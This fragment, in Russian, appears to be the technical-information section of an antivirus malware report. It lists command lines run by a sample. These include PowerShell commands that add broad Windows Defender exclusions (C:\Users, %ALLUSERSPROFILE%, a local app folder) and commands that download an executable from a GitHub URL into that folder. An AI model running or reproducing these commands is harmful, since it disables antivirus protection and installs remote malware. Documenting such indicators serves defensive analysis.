Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\hpkngpja', 'C:\Users', '%ALLUSERSPROFILE%'"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\hpkngpja', 'C:\Users', '%ALLUSERSPROFILE%'"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/proba1web/klofop/raw/refs/heads/main/win1.exe' -OutFile '%LOCALAPPDATA%\hpkngpja\qqmlgoti.exe'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://github.com/proba1web/klofop/raw/refs/heads/main/win1.exe' -OutFile '%LOCALAPPDATA%\hpkngpja\qqmlgoti.exe'"